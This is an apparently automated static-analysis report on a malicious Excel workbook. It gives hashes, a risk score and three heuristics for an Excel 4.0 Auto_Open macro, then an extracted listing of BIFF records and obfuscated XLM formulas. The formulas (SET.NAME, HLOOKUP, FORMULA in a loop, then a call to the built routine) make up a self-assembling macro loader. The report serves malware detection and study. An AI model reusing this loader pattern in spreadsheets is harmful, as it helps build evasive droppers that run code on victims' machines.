Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3276ef4c48706671…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:46:31 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: 943013df0c48b5787f3a9e0e3e54600f SHA-1: 93f2e8943e3f2056b0332e0efc2ae041c1d7da3c SHA-256: 3276ef4c4870667134f3c049f67205d6974697cf87d850af926c0ae674c615e4
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6447 bytes
SHA-256: c7de1a2dcecac64c8a94664b202ca39cabc24b5179fbf05815cd6096489f1768
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  bFpfpC
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C196 
' 0018     22 LABEL : Cell Value, String Constant - bEwuBzg len=0 
' 0018     22 LABEL : Cell Value, String Constant - CBBhuoT len=0 
' 0018     24 LABEL : Cell Value, String Constant - CwGqVIPyd len=0 
' 0018     23 LABEL : Cell Value, String Constant - dlJvIVVX len=0 
' 0018     25 LABEL : Cell Value, String Constant - eRRCobZAmu len=0 
' 0018     21 LABEL : Cell Value, String Constant - ffzLos len=0 
' 0018     22 LABEL : Cell Value, String Constant - GdeSRAY len=0 
' 0018     22 LABEL : Cell Value, String Constant - gxTwfOs len=0 
' 0018     23 LABEL : Cell Value, String Constant - HvgrHOdq len=0 
' 0018     26 LABEL : Cell Value, String Constant - NQHdDJeXeBj len=0 
' 0018     22 LABEL : Cell Value, String Constant - oEhUSzC len=0 
' 0018     21 LABEL : Cell Value, String Constant - ohOjlB len=0 
' 0018     21 LABEL : Cell Value, String Constant - tPBQub len=0 
' 0018     20 LABEL : Cell Value, String Constant - uVavR len=0 
' 0018     20 LABEL : Cell Value, String Constant - vAiTh len=0 
' 0018     27 LABEL : Cell Value, String Constant - vMwflXalicVq len=0 
' 0018     26 LABEL : Cell Value, String Constant - WFoLbqjcTlT len=0 
' 0018     23 LABEL : Cell Value, String Constant - WKMFSkWT len=0 
' 0018     21 LABEL : Cell Value, String Constant - WPUQMD len=0 
' 0018     25 LABEL : Cell Value, String Constant - wzpCqWAOIV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  bFpfpC,C102,"SET.NAME("dlJvIVVX",VALUE("0"))",""
'  bFpfpC,C105,"SET.NAME("vMwflXalicVq",dlJvIVVX)",""
'  bFpfpC,C110,"SET.NAME("HvgrHOdq",dlJvIVVX)",""
'  bFpfpC,C115,"SET.NAME("wzpCqWAOIV",COUNTA(gxTwfOs))",""
'  bFpfpC,C119,"SET.NAME("uVavR",COUNTA(tPBQub))",""
'  bFpfpC,C123,[],""
'  bFpfpC,C128,"SET.NAME("bEwuBzg","")",""
'  bFpfpC,C132,"vMwflXalicVq",""
'  bFpfpC,C135,"SET.NAME("CwGqVIPyd",HLOOKUP("*",gxTwfOs,vMwflXalicVq,FALSE))",""
'  bFpfpC,C137,"ohOjlB",""
'  bFpfpC,C139,"SET.NAME("ffzLos",dlJvIVVX)",""
'  bFpfpC,C141,[],""
'  bFpfpC,C145,"ffzLos",""
'  bFpfpC,C148,"CBBhuoT",""
'  bFpfpC,C152,"WFoLbqjcTlT",""
'  bFpfpC,C154,"NQHdDJeXeBj",""
'  bFpfpC,C159,"SET.NAME("oEhUSzC",VALUE(HLOOKUP("*",tPBQub,NQHdDJeXeBj,FALSE)))",""
'  bFpfpC,C163,"WPUQMD",""
'  bFpfpC,C167,"bEwuBzg",""
'  bFpfpC,C172,"HvgrHOdq",""
'  bFpfpC,C177,NEXT(),""
'  bFpfpC,C181,"eRRCobZAmu",""
'  bFpfpC,C184,"SET.NAME("f",INT(T(FORMULA(T(bEwuBzg)&"",""&T(eRRCobZAmu)))))",""
'  bFpfpC,C186,"GdeSRAY",""
'  bFpfpC,C189,NEXT(),""
'  bFpfpC,C192,RETURN(),""
'  bFpfpC,C223,"SET.NAME("vAiTh",C102)",""
'  bFpfpC,C227,"gxTwfOs",""
'  bFpfpC,C231,"SET.NAME("tPBQub",R44C13)",""
'  bFpfpC,C235,"SET.NAME("GdeSRAY",243)",""
'  bFpfpC,C239,"SET.NAME("WKMFSkWT",3)",""
'  bFpfpC,C242,vAiTh(),""
'  bFpfpC,C243,HALT(),""

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